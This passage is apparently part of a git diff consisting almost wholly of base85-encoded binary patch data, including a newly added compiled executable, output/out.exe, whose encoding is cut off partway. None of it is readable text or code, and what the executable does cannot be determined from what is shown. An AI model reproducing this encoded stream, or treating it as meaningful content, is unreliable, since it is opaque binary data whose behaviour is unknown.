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 bMw2#ze9Y*>D8;M{A^3Si2v=Qyit&E{+>H!P literal 0 HcmV?d00001 diff --git a/output/out.exe b/output/out.exe new file mode 100644 index 0000000000000000000000000000000000000000..db7631b862240f0c2c01392a77ad3eccb0a2952c GIT binary patch literal 46519 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 